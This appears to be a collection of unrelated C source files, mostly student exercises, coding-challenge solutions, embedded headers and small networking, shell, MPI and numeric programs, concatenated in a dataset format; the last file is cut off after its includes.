int ip_to_hostname(int connfd, char *server_name, char *port_num, char *name, char *recvline)
{
int sockfd, n;
struct hostent *he;
struct sockaddr_in servaddr;
socklen_t len;
len = sizeof(servaddr);
/*convert Ip address to hostname*/
inet_pton(AF_INET,server_name,&servaddr.sin_addr);
he = gethostbyaddr(&servaddr.sin_addr, len, AF_INET);
strcpy(name, he->h_name);
#if DEBUG
int r;
r=getnameinfo((struct sockaddr *)&servaddr,len, name, sizeof name, port_num,sizeof port_num, 0);
printf("%s\n",name);
if (r)
{
printf("%s\n", gai_strerror(r));
exit(1);
}
#endif
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(atoi(port_num));
if ( (sockfd = socket(AF_INET,SOCK_STREAM,0))<0){
printf("socket error\n");
exit(1);
}
connfd=connect(sockfd, (struct sockaddr *)&servaddr,len);
if(connfd<0)
{
printf("connect error\n");
exit(1);
}
while ( (n = read(sockfd, recvline, MAXLINE)) > 0) {
recvline[n] = 0; /* null terminate */
}
if (n < 0) {
printf("read error\n");
exit(1);
}
return 0;
} |
C | /*
* Copyright (c) 2012, Alexander I. Mykyta
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* \addtogroup MOD_UART UART IO
* \brief Provides basic text IO functions for the MSP430 UART controller
* \author Alex Mykyta
*
* This module provides basic text input and output functions to the UART. \n
*
* ### MSP430 Processor Families Supported: ###
* Family | Supported
* ------- | ----------
* 1xx | -
* 2xx | Yes
* 4xx | -
* 5xx | Yes
* 6xx | Yes
*
* \todo Add support for the following functions:
* - RES_t uart_read(void *buf, size_t size)
* - RES_t uart_write(void *buf, size_t size)
* - size_t uart_wrcount(void)
* - void uart_rdflush(void)
* - void uart_wrflush(void)
*
* \todo Add support for 1xx and 4xx series
*
* \{
**/
/**
* \file
* \brief Include file for \ref MOD_UART "UART IO"
* \author Alex Mykyta
**/
#ifndef __UART_IO_H__
#define __UART_IO_H__
#ifdef __cplusplus
extern "C" {
#endif
#include "uart_io_config.h"
//==================================================================================================
// Function Prototypes
//==================================================================================================
/**
* \brief Initializes the UART controller
* \attention The initialization routine does \e not setup the IO ports!
**/
void uart_init(void);
/**
* \brief Uninitializes the UART controller
**/
void uart_uninit(void);
// RES_t uart_read(void *buf, size_t size);
// RES_t uart_write(void *buf, size_t size);
/**
* \brief Get the number of bytes available to be read
* \return Number of bytes
**/
size_t uart_rdcount(void);
// size_t uart_wrcount(void);
// void uart_rdflush(void);
// void uart_wrflush(void);
/**
* \brief Reads the next character from the UART
* \details If a character is not immediately available, function will block until it receives one.
* \return The next available character
**/
char uart_getc(void);
/**
* \brief Reads in a string of characters until a new-line character ( \c \\n) is received
*
* - Reads at most n-1 characters from the UART
* - Resulting string is \e always null-terminated
* - If n is zero, a null character is written to str[0], and the function reads and discards
* characters until a new-line character is received.
* - If n-1 characters have been read, the function continues reading and discarding characters until
* a new-line character is received.
* - If an entire line is not immediately available, the function will block until it
* receives a new-line character.
*
* \param [out] str Pointer to the destination string buffer
* \param n The size of the string buffer \c str
* \return \c str on success. \c NULL otherwise
**/
char *uart_gets_s(char *str, size_t n);
/**
* \brief Writes a character to the UART
* \param c character to be written
**/
void uart_putc(char c);
/**
* \brief Writes a character string to the UART
* \param s Pointer to the Null-terminated string to be sent
**/
void uart_puts(char *s);
#ifdef __cplusplus
}
#endif
#endif
///\}
|
C | #include<stdio.h>
#include<math.h>
#define MAX 1000000
long long tree[MAX*4];
int TN;
void update(int idx, int val)
{
for(idx = TN+idx-1;idx>0;idx>>=1)
tree[idx]+=val;
}
long long query(int l, int r, int idx, int val)
{
if(l==r){
return l;
}
if(val<=tree[idx*2]){
return query(l,(l+r)/2,2*idx,val);
}
else{
return query((l+r)/2+1,r,idx*2+1,val-tree[idx*2]);
}
}
int main()
{
int n;
scanf("%d", &n);
for(TN=1;TN<1000000;TN<<=1);
for(int i=0;i<n;i++)
{
int op;
scanf("%d", &op);
if(op==2)
{
//update
int b,c;
scanf("%d %d", &b, &c);
update(b,c);
}
else{
//query
int r;
scanf("%d", &r);
int idx = query(1,TN,1,r);
printf("%d\n", idx);
update(idx,-1);
}
}
return 0;
}
|
C | #define _CRT_SECURE_NO_WARNINGS 1
#include <stdio.h>
#include <string.h>
//ջ
/*
1.'(' ջ ')'ջ
ջеһԪΪ-1 ԭcharַǴ0ʼ
*/
int longestValidParentheses(char * s)
{
int len = strlen(s);
if (len == 0 || len == 1)
return 0;
int i = 0;
int arr[len + 1];
int ret = 0;
int count = 0;
int top = -1;
arr[++top] = -1;
for (i = 0; i < len; i++)
{
if (s[i] == '(')
{
arr[++top] = i;
}
else
{
--top;
if (top == -1)
{
arr[++top] = i;
}
else
{
count = fmax(count, i - arr[top]);
}
}
}
return count;
}
int main()
{
char str[] = "()(()";
int ret = longestValidParentheses(str);
return 0;
} |
C | #include <stdio.h>
#define A 3
#define B 5
#define PRINT printf("\n")
#define PRINT1 printf("%d",A*B);PRINT
#define PRINT2(x,y) printf("%d",x*y)
int main(){
PRINT1;
PRINT2(A+1,B+1);
} |
C | #include<stdio.h>
int primo(int num)
{
int i;
for(i=2;i<num;i++)
{
if(num%i==0)
{
return 0;
}
}
return 1;
}
int main()
{
int op=1,num;
while(op)
{
printf("\n digite o numero: ");
scanf("%d",&num);
if(primo(num))
{
printf("\n o num %d é primo", num);
}
else{printf("\n o num %d não é primo", num);}
}
}
|
C | /**
******************************************************************************
* @file lcd.h
* @author William PONSOT
* @version V1.0
* @date 23-June-2017
* @brief Functions to print on the LCD screen (UART communication)
******************************************************************************
*/
#ifndef LCD_H_
#define LCD_H_
/* Includes ------------------------------------------------------------------*/
#include "stm32f4xx_hal.h"
/* Exported types ------------------------------------------------------------*/
#define LCD_DEGREE 0xDF
#define LCD_ARROW_LEFT 0x7F
#define LCD_ARROW_RIGHT 0x7E
enum LCD_cmd{
RIGHT,
LEFT,
NONE,
};
enum LCD_state{
INIT,
START,
FINISH,
BELT_SPEED,
TIME,
TEMP1,
TEMP2,
TEMP3,
TEMP4,
TEMP5,
};
#define NB_STATUS 10
/* Exported constants --------------------------------------------------------*/
/* Exported macro ------------------------------------------------------------*/
/* Exported functions ------------------------------------------------------- */
void lcd_init(void);
void lcd_display_init(void);
void send_char(uint8_t character);
void send_string (char* string, uint8_t total_size);
void lcd_display_time ();
void lcd_display_belt_speed();
void lcd_display_temp (uint8_t temp_sensor);
void lcd_ask_belt_speed();
void lcd_change_status(uint16_t new_status);
void lcd_display_start();
void lcd_display_finish();
void lcd_display(uint8_t cmd);
char* itoa(int i, char b[]);
void stringtochar(char a[], char b[]);
#endif /* LCD_H_ */
|
C | #include <stdlib.h>
#include "queue.h"
void init_queue(queue* q, int size) {
q->size=size;
q->array = malloc(sizeof(q_node)*(size));
for(int i=0;i<size;i++) {
q->array[i].element = NULL;
}
q->front = 0;
q->back = 0;
return;
}
int empty(queue* q) {
if((q->array[q->front].element==NULL) && (q->front==q->back)) {
return 1;
} else {
return 0;
}
}
int full(queue* q) {
if((q->array[q->front].element!=NULL) && (q->front==q->back)) {
return 1;
} else {
return 0;
}
}
int enqueue(queue* q,void* element) {
if(full(q)) {
return -1;
}
q->array[q->back].element = element;
q->back = ((q->back+1) % q->size);
return 0;
}
void* dequeue(queue* q) {
void* deq_element;
if(empty(q)) {
return NULL;
}
deq_element = q->array[q->front].element;
q->array[q->front].element = NULL;
q->front = ((q->front+1) % q->size);
return deq_element;
}
void clear_queue(queue* q) {
while(!empty(q)) {
dequeue(q);
}
free(q->array);
}
|
C | #include <stdio.h>
#include <stdlib.h>
int main() {
unsigned char x = 0;
FILE *inp = fopen("bit_3.dat", "r");
if (inp == NULL)
return 0;
fscanf(inp, "%hhx", &x);
fclose(inp);
FILE *out = fopen("bit_3.ans", "w");
if (out == NULL)
return 0;
unsigned char ans = (x >> 4) & 3;
char result[4][3] = {"bn\0", "rd\0" , "bw\0" , "bk\0"};
fprintf(out, "%s\n", result[ans]);
fclose(out);
return 0;
} |
C | //https://leetcode.com/problems/house-robber/
long long max(long long a,long long b)
{
if(a>b)
return a;
return b;
}
int rob(int* nums, int numsSize){
int n=numsSize,i;
long long ppmax=0,pmax=0,cmax=0;
for(int i=0;i<n;i++)
{
cmax=pmax;
cmax=max(cmax,nums[i]+ppmax);
ppmax=pmax;
pmax=cmax;
}
return cmax;
}
|
C | /*
ECHOCLIENT.C
==========
(c) Yansong Li, 2020
Email: [email protected]
Simple TCP/IP echo client.
*/
#include <sys/socket.h> /* socket definitions */
#include <sys/types.h> /* socket types */
#include <arpa/inet.h> /* inet (3) funtions */
#include <unistd.h> /* misc. UNIX functions */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "helper.h" /* our own helper functions */
/* Global constants */
#define ECHO_PORT (2020)
#define MAX_LINE (1000)
char *Fgets(char *ptr, int n, FILE *stream)
{
char *rptr;
if (((rptr = fgets(ptr, n, stream)) == NULL) && ferror(stream))
return rptr;
}
int main(int argc, char *argv[])
{
int clientfd; /* client socket */
char *buffer[MAX_LINE]; /* character buffer */
char *endptr; /* for strtol() */
short int port; /* port number */
// struct in_addr host; /* host address */
struct sockaddr_in servaddr; /* socket address structure */
/* Get host address and port from the command line */
if (argc == 3)
{
// change network to int
// if (inet_aton("127.0.0.1", &host) != 1)
if (inet_pton(AF_INET, argv[1], &servaddr.sin_addr) < 0)
{
fprintf(stderr, "ECHOCLIENT: Invalid host address.\n");
exit(EXIT_FAILURE);
}
// change string port to int
port = strtol(argv[2], &endptr, 0);
if (*endptr)
{
fprintf(stderr, "ECHOCLIENT: Invalid port number.\n");
exit(EXIT_FAILURE);
}
}
else
{
fprintf(stderr, "ECHOCLIENT: usage: %s <host> <port>\n", argv[0]);
exit(EXIT_FAILURE);
}
/* Create the client socket */
if ((clientfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
fprintf(stderr, "ECHOCLIENT: Error creating listening socket.\n");
exit(EXIT_FAILURE);
}
/* Set all bytes in socket address structure to
zero, and fill in the relevant data members */
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
// /* Connect our socket address to the client socket */
if (connect(clientfd, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0)
{
fprintf(stderr, "ECHOCLIENT: Error calling connect()\n");
exit(EXIT_FAILURE);
}
while (fgets(buffer, MAX_LINE, stdin) != NULL)
{
/* Retrieve an input line from the connected socket
then simply write it back to the same socket. */
Writeline(clientfd, buffer, strlen(buffer));
Readline(clientfd, buffer, MAX_LINE-1);
fputs(buffer, stdout);
}
close(clientfd);
exit(0);
} |
C | // Forward declaration of isBadVersion API.
bool isBadVersion(int version);
class Solution {
public:
int firstBadVersion(int n) {
long int left = 1,right = n;
if(isBadVersion(1))
return 1;
while(1)
{
if(isBadVersion((right+left)/2))
right = (right+left)/2;
else
left = (right+left)/2;
if((right-left)==1)
{
return right;
}
}
}
}; |
C | #define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
typedef struct stdinf {
int line;
int id;
int mathscore;
int infscore;
}stdinf;
int main()
{
int n, i,j,tmp1,tmp2,tmp3;
scanf("%d", &n);
stdinf std[1000];
for (i = 1; i <= n; i++)
{
std[i].id =std[i].line= i;
scanf("%d %d", &std[i].mathscore, &std[i].infscore);
}
for (i = 0; i <=n; i++)
{
for (j = 1; j <= n ; j++)
{
if (std[j].mathscore < std[j + 1].mathscore)
{
tmp1 = std[j].line;
std[j].line = std[j + 1].line;
std[j + 1].line = tmp1;
tmp1 = std[j].mathscore;
std[j].mathscore = std[j + 1].mathscore;
std[j + 1].mathscore = tmp1;
tmp1 = std[j].infscore;
std[j].infscore = std[j + 1].infscore;
std[j + 1].infscore = tmp1;
}
else if (std[j].mathscore == std[j + 1].mathscore && std[j].infscore < std[j + 1].infscore)
{
tmp2 = std[j].line;
std[j].line = std[j + 1].line;
std[j + 1].line = tmp2;
tmp1 = std[j].infscore;
std[j].infscore = std[j + 1].infscore;
std[j + 1].infscore = tmp1;
}
else if (std[j].mathscore == std[j + 1].mathscore && std[j].infscore == std[j + 1].infscore && std[j].id > std[j + 1].id)
{
tmp3 = std[j].line;
std[j].line = std[j + 1].line;
std[j + 1].line = tmp3;
}
}
}
for (i = 1; i <= n; i++)
{
for(j=1; j<=n;j++)
{
if (std[j].id == i)
{
printf("%d %d %d \n", std[j].line, std[j].mathscore, std[j].infscore);
}
}
}
return 0;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* type.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: aophion <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/03/29 12:11:33 by aophion #+# #+# */
/* Updated: 2021/03/29 12:12:58 by aophion ### ########.fr */
/* */
/* ************************************************************************** */
#include "sh.h"
static int compare_bultin(char *com)
{
if (ft_strequ(com, "cd"))
return (1);
if (ft_strequ(com, "clear"))
return (1);
if (ft_strequ(com, "exit"))
return (1);
if (ft_strequ(com, "setenv"))
return (1);
if (ft_strequ(com, "unsetenv"))
return (1);
if (ft_strequ(com, "ppid"))
return (1);
if (ft_strequ(com, "pwd"))
return (1);
if (ft_strequ(com, "type"))
return (1);
if (ft_strequ(com, "set"))
return (1);
if (ft_strequ(com, "unset"))
return (1);
if (ft_strequ(com, "export"))
return (1);
return (0);
}
int sh_type(char **com, t_env **env)
{
char *path;
path = NULL;
if (!com)
return (1);
if (!com[1])
return (1);
if (compare_bultin(com[1]))
ft_printf("%s - is a shell builtin\n", com[1]);
else if ((path = get_path(com[1], env)))
ft_printf("%s - is %s\n", com[1], path);
return (1);
}
|
C | //******************************************************************************
// www.ghostyu.com
//
// Copyright (c) 2017-2018, WUXI Ghostyu Co.,Ltd.
// All rights reserved.
//
// FileName : json_format.c
// Date : 2018-03-01 22:03
// Version : V0001
// History : ʼ汾
//******************************************************************************
#include <stdio.h>
#include "json_format.h"
//******************************************************************************
// fn : JSON_Temp
//
// brief : ߱¶ֵתӦjsonʽ
//
// param : buf ->jsonʽݵַ
// tempValue -> ¶ֵ
//
// return : ת֮jsonݳ
//
// ע⣬buf ijһҪ㹻.Temp JsonҪ35
// ת֮ʽ
//{
// "dataType": "TEMP",
// "data": "32.5"
//}
uint16_t JSON_Temp(char* buf,float tempValue)
{
uint16_t msgLen = 0;
if(buf == NULL)
{
return 0;
}
msgLen = sprintf(buf,"{\"dataType\":\"TEMP\",\"data\":\"%0.1f\"}",tempValue);
return msgLen;
}
//******************************************************************************
// fn : JSON_Humi
//
// brief : ߱ʪֵתӦjsonʽ
//
// param : buf ->jsonʽݵַ
// humiValue -> ʪֵ
//
// return : ת֮jsonݳ
//
// ע⣬buf ijһҪ㹻.Temp JsonҪ35
// ת֮ʽ
//{
// "dataType": "HUM",
// "data": "60"
//}
uint16_t JSON_Humi(char* buf,float humiValue)
{
uint16_t msgLen = 0;
if(buf == NULL)
{
return 0;
}
msgLen = sprintf(buf,"{\"dataType\":\"HUM\",\"data\":\"%.1f\"}",humiValue);
return msgLen;
}
//******************************************************************************
// fn : JSON_gps
//
// brief : γϢתӦjsonʽ
//
// param : buf ->jsonʽݵַ
// longitude ->
// latiude -> γ
//
// return : ת֮jsonݳ
// ת֮ʽ
//{
// "dataType": "GPS",
// "data": {
// "x": "120.28749", ->ֵ
// "y": "31.564869" ->γֵ
// }
//}
uint16_t JSON_gps(char* buf,double longitude,double latitude)
{
uint16_t msgLen = 0;
if(buf == NULL)
{
return 0;
}
msgLen = sprintf(buf,"{\"dataType\":\"GPS\",\"data\":{\"x\":\"%0.6f\",\"y\":\"%0.6f\"}}",longitude,latitude);
return msgLen;
} |
C | #include <stdio.h>
#include <string.h>
#include "md5.h"
#define MAX 1024
MD5_CTX md5;
void MD5_Encap(unsigned char*, unsigned char*);
void salt(unsigned char*, unsigned char*);
void MD5_Encap(unsigned char *str1, unsigned char *str2)
{
int i;
//初始化
MD5Init(&md5);
//传入明文字符串以及长度
MD5Update(&md5, str2, strlen((char *)str2));
//得到加密后的字符
MD5Final(&md5, str1);
}
void salt(unsigned char *mix, unsigned char *src)
{
unsigned char temp1[16]; //存储原始数据第一次计算MD5的值
unsigned char temp2[16]; //存储temp1中间16位为字符串
int i, j, length;
MD5_Encap(temp1, src);
for(i = 4, j = 0; i < 12; i++, j++)
{
//一个temp1字符占两个16进制位
//temp2 + 2*j (例如j = 0时 temp1[4]中的值放入temp2[0]和temp[1]中)
snprintf(temp2 + 2*j, 16, "%02x", temp1[i]);
}
length = strlen(src);
strncpy(mix, src, length - 1);//fgets把'\n'也加进去了,所以length - 1
strncat(mix, temp2, 16);
mix[length + 15] = '\0';
}
int main()
{
int i;
unsigned char src[MAX];
unsigned char mix[MAX + 16];
unsigned char dest[16];
printf("请输入密码:");
fgets(src, MAX, stdin);
printf("您的密码是:%s", src);
salt(mix, src);
printf("加盐后的密码是:%s\n", mix);
MD5_Encap(dest, mix);
printf("加密后的密码是:");
for(i = 0; i < 16; i++)
{
printf("%02x",dest[i]);
}
putchar('\n');
return 0;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "wish.h"
int interactive_mode() {
int res;
while (1) {
// Reset everything for next loop.
res = 0;
printf("wish> ");
command *c = get_input();
if (c == NULL) {
continue;
}
res = handle_cmd(c);
if (res != 0) {
fprintf(stderr, "failed to handle command\n");
return 1;
}
// Cleanup memory
// We only need to free args[0] since strtok() doesn't allocate any extra memory.
free_command(c);
}
}
int batch_mode(char* batch_file) {
// Check that file exists
if ( access(batch_file, F_OK) != 0 ) {
return 1;
}
FILE *fp = fopen(batch_file, "r");
ssize_t read;
size_t len = 0;
char *line = NULL;
// Wh
int line_count = 1;
command **commands;
command *cmd = NULL;
commands = malloc(sizeof(struct command*));
if (commands == NULL) {
fprintf(stderr, "malloc failed\n");
return 1;
}
while ((read = getline(&line, &len, fp)) != -1) {
cmd = format_command(line);
if (cmd == NULL) {
return 2;
}
commands[line_count-1] = cmd;
line_count++;
// Is this too expensive?
// Might be better to allocate big buffer to start and resize after the loop?
commands = realloc(commands, line_count * sizeof(struct command*));
if (commands == NULL) {
fprintf(stderr, "malloc failed\n");
return 3;
}
// we need to reset the pointer each time so that getline allocates a new buffer for
// each line.
line = NULL;
printf("----------\n");
}
fclose(fp);
printf("handling commands: %d\n", line_count);
for (int i = 0; i < line_count-1; i++) {
int result = handle_cmd(commands[i]);
if (result != 0) {
return 4;
}
}
for (int i = 0; i < line_count-1; i++) {
free_command(commands[i]);
}
free(commands);
return 0;
}
command* get_input() {
char* usr_input = NULL;
ssize_t read = 0;
size_t len = 0;
struct command* c;
read = getline(&usr_input, &len, stdin);
if (read == -1) {
fprintf(stderr, "failed to get user input\n");
return NULL;
}
c = format_command(usr_input);
return c;
}
command* format_command(char* cmd) {
int arg_count = 0;
char** cmd_args;
char* arg = NULL;
const char space[1] = " ";
command* c;
cmd_args = malloc(MAX_ARG_LEN*sizeof(char*));
arg = NULL;
// we don't have to pass the string again after this.
arg = strtok(cmd, space);
// if we don't find a token we just ignore command.
if (arg == NULL){
return NULL;
}
cmd_args[arg_count] = arg;
arg_count++;
while ((arg = strtok(NULL, space)) != NULL) {
cmd_args[arg_count] = arg;
if (arg_count > MAX_ARG_LEN){
break;
}
arg_count++;
}
// TODO: Find out why if we use arg_count+1 instead of +2 the next
// call to malloc fails.
cmd_args = realloc(cmd_args, ( (arg_count+2) * sizeof(char*) ) );
if (cmd_args == NULL) {
fprintf(stderr, "failed to realloc user args\n");
return NULL;
}
cmd_args[arg_count+1] = "\0";
c = malloc(sizeof(command));
if (c == NULL) {
fprintf(stderr, "failed to malloc command c\n");
return NULL;
}
c->args = cmd_args;
c->arg_count = arg_count;
return c;
}
command_type identify_command(command *cmd) {
char exit_cmd[] = "exit";
char cd_cmd[] = "cd";
if ((strcmp(cmd->args[0], exit_cmd)) == 0) {
return CMD_EXIT;
}
else if ((strcmp(cmd->args[0], cd_cmd)) == 0) {
return CMD_CD;
}
else {
return CMD_OTHER;
}
}
int handle_builtin_cmd(command *cmd, command_type type) {
switch(type) {
case CMD_EXIT:
exit(0);
case CMD_CD:
if ((chdir(cmd->args[1])) != 0) {
return 2;
}
return 0;
default:
return 3;
}
}
int handle_other_cmd(command *cmd, command_type type) {
if (type != CMD_OTHER) {
return 1;
}
int status;
pid_t pid, w;
pid = fork();
if (pid < 0){
return 3;
}
else if (pid == 0){
execvp(cmd->args[0], cmd->args);
return 4;
}
else {
if ((w = wait(&status)) < 0) {
return 5;
}
}
return 0;
}
int handle_cmd(command *cmd) {
int strip = strip_newline(cmd);
if (strip != 0) {
return 1;
}
command_type cmd_type = identify_command(cmd);
switch(cmd_type) {
case CMD_CD:
case CMD_EXIT:
return handle_builtin_cmd(cmd, cmd_type);
case CMD_OTHER:
return handle_other_cmd(cmd, cmd_type);
default:
return 5;
}
}
int strip_newline(command* cmd) {
char *newline = "\n";
char *null_char = "\0";
for (int i = 0; i < cmd->arg_count; i++) {
char* line = *(cmd->args + i);
int match = strcmp( (line+strlen(line)-1), newline );
if (match == 0) {
*(line+strlen(line)-1) = *null_char;
}
}
return 0;
}
void free_command(command* c) {
free(c->args[0]);
free(c->args);
free(c);
}
int hash(char* key) {
int key_len = strlen(key);
int hash = 0;
for (int i = 0; i < key_len; i++) {
hash = hash + ((ALPHABET_SIZE^((key_len-1)-(i+1))) * (int)key[i]);
}
return hash;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
int arr_swap(float **arr1, float **arr2)
{
float *arr3;
arr3 = *arr1;
*arr1 = *arr2;
*arr2 = arr3;
}
float scalar_mult_columns(float** a, int k1, int k2, int n) //pointer to 2-dimentional array, 2 columns that we wish to multiply, number of rows
{
int i;
float sum = 0;
for(i = 0; i < n; i++)
{
sum += a[i][k1] * a[i][k2];
}
return sum;
}
int main()
{
int n, m, i, j, k;
float **a, **b, *x, coeff, sum;
scanf("%d%d", &n, &m);
if(n < m)
return 0;
x = (float*) malloc(m * sizeof(float));
b = (float**) malloc(m * sizeof(float*));
for(i = 0; i < m; i++)
b[i] = (float*) malloc((m + 1) * sizeof(float));
a = (float**) malloc(n * sizeof(float*));
for(i = 0; i < n; i++)
a[i] = (float*) malloc((m + 1) * sizeof(float));
for(i = 0; i < n; i++)
{
for(j = 0; j < m + 1; j++)
scanf("%f", &a[i][j]);
}
for(i = 0; i < m; i++)
{
for(j = i; j < m + 1; j++)
{
b[i][j] = scalar_mult_columns(a, i, j, n);
}
}
for(i = 0; i < m; i++)
{
for(j = 0; j < i; j++)
{
b[i][j] = b[j][i];
}
}
/* now we will Gauss the hell out of b */
for(i = 0; i < m - 1; i++) //go down
{
if(!b[i][i]) //swapping rows
{
for(k = i + 1; k < m; k++)
{
if(b[k][i])
break;
}
if(k != m)
arr_swap(&b[i], &b[k]);
}
for(k = i + 1; k < m; k++)
{
if(!b[i][i]) //which means that all b[?][i] == 0
coeff = 1;
else
coeff = b[k][i] / b[i][i];
for(j = i; j < m + 1; j++)
b[k][j] -= b[i][j] * coeff;
}
}
for(i = m - 1; i >= 0; i--) //go up
{
sum = 0;
for(j = i + 1; j < m; j++)
{
if(x[j] != x[j]) //nan
{
if(b[i][j])
{
x[i] = x[j];
break;
}
}
else
sum += x[j] * b[i][j];
}
if(j == m)
{
x[i] = (b[i][m] - sum) / b[i][i];
if(isinf(x[i]))
break;
}
}
if(i >= 0)
printf("NO\n");
else if(x[0] != x[0])
printf("INF\n");
else
{
for(i = 0; i < m; i++)
printf("%f ", x[i]);
printf("\n");
}
for(i = 0; i < m; i++)
free(b[i]);
for(i = 0; i < n; i++)
free(a[i]);
free(b);
free(a);
free(x);
return 0;
}
|
C | #include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include "mpi.h"
main(int argc, char **argv ) {
/*
This is the Hello World program for CPSC424/524.
Author: Andrew Sherman, Yale University
Date: 1/23/2017
Credits: This program is based on a program provided by Barry Wilkinson (UNCC), which
had a similar communication pattern, but did not include any simulated work.
*/
char message[100];
int i,rank, size, type=99;
int worktime, sparm, rwork(int,int);
double wct0, wct1, total_time; //, cput;
MPI_Status status;
MPI_Init(&argc,&argv); // Required MPI initialization call
MPI_Comm_size(MPI_COMM_WORLD,&size); // Get no. of processes
MPI_Comm_rank(MPI_COMM_WORLD, &rank); // Which process am I?
char cache[size][100];
/* If I am the master (rank 0) ... */
if (rank == 0) {
sparm = rwork(0,0); //initialize the workers' work times
/* Create the message using sprintf */
sprintf(message, "Hello, from process %d.",rank);
MPI_Barrier(MPI_COMM_WORLD); //wait for everyone to be ready before starting timer
wct0 = MPI_Wtime(); //set the start time
// timing(&wct0, &cput); //set the start time
/* Send the message to all the workers, which is where the work happens */
for (i=1; i<size; i++) {
MPI_Send(message, strlen(message)+1, MPI_CHAR, i, type, MPI_COMM_WORLD);
MPI_Send(&sparm, 1, MPI_INT, i, type, MPI_COMM_WORLD);
}
for (i=1; i<size; i++) {
MPI_Recv(message, 100, MPI_CHAR, MPI_ANY_SOURCE, type, MPI_COMM_WORLD, &status);
sleep(3);
memcpy(cache[status.MPI_SOURCE], message, 100);
//printf("Message from process %d: %s\n", status.MPI_SOURCE, message);
}
for (i=1; i<size; i++) {
printf("Message from process %d: %s\n", i, cache[i]);
}
wct1 = MPI_Wtime(); // Get total elapsed time
// timing(&wct1, &cput); //get the end time
total_time = wct1 - wct0;
printf("Message printed by master: Total elapsed time is %f seconds.\n",total_time);
}
/* Otherwise, if I am a worker ... */
else {
MPI_Barrier(MPI_COMM_WORLD); //wait for everyone to be ready before starting
/* Receive messages from the master */
MPI_Recv(message, 100, MPI_CHAR, 0, type, MPI_COMM_WORLD, &status);
MPI_Recv(&sparm, 1, MPI_INT, 0, type, MPI_COMM_WORLD, &status);
worktime = rwork(rank,sparm); // Simulate some work
// printf("From process %d: I worked for %d seconds after receiving the following message:\n\t %s\n",
// rank,worktime,message);
sprintf(message, "Hello master, from process %d after working %d seconds", rank, worktime);
MPI_Send(message, strlen(message)+1, MPI_CHAR, 0, type, MPI_COMM_WORLD);
}
MPI_Finalize(); // Required MPI termination call
}
|
C | /*
source code: cafeteria3.c
author: Lukas Eder
date: 17.11.2017
descr.:
sortiert die Fileausgabe der Aufgabe Cafeteria
mittels Bubblesort.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
//Struct
struct artikel_t {
char name[31];
int kategorie;
double preis;
};
struct firstline_t {
char name[25];
char kategorie[25];
char preis[100];
};
//Functions
void sortPrice(struct artikel_t arr[], struct artikel_t temp[], int *sumData) {
//Variablen
int i; //loop
int getauscht; //flag
int count = *sumData;
//Bublesort auf Preis der Datenseatze in sturct array
do {
count--;
getauscht = 0;
for (i = 0; i < count; i++) {
if (arr[i].preis > arr[i + 1].preis) {
temp[0] = arr[i];
arr[i] = arr[i + 1];
arr[i + 1] = temp[0];
getauscht = 1;
}
}
}while(getauscht && count > 1);
}
//Main
int main(void) {
//Variablen
struct artikel_t artikel[101];
struct artikel_t temp[3];
struct firstline_t fline;
int lc = 0;
int *ptr_lc;
//Filestreams
FILE*myFile = NULL;
FILE*newFile = NULL;
//Oeffnen des Referenzfiles
myFile = fopen("artikel.txt", "r");
//Lesen der ersten Zeile
fscanf(myFile, "%[^\t]\t%[^\t]\t%[^\n]\n", &fline.name, &fline.kategorie, &fline.preis);
//Lesen der Datensaetze und verpacken in "Container"
do {
fscanf(myFile, "%[^\t]\t%d\t%lf\n", &artikel[lc].name, &artikel[lc].kategorie, &artikel[lc].preis);
lc++;
} while (!feof(myFile));
//Referenzfile schliessen
fclose(myFile);
//Datensaetze sortieren
ptr_lc = &lc;
sortPrice(artikel, temp, ptr_lc);
//Neues File oeffen
newFile = fopen("Artikel_sortiert.txt", "w");
//erste Zeile schreiben
fprintf(newFile, "%-25s\t%s\t%s\n\n", fline.name, fline.kategorie, fline.preis);
//Sortierte Datensaetze in neues File uebertragen
for (int i = 0; i < lc; i++) {
fprintf(newFile, "%-25s\t%d\t\t%.2lf\n", artikel[i].name, artikel[i].kategorie, artikel[i].preis);
}
//INFO auf screen
printf("finished\n");
return 0;
} |
C | /*
Andrés Felipe Rincón - 1922840
Juan Camilo Randazzo - 1923948
*/
#include <stdio.h>
#include <string.h>
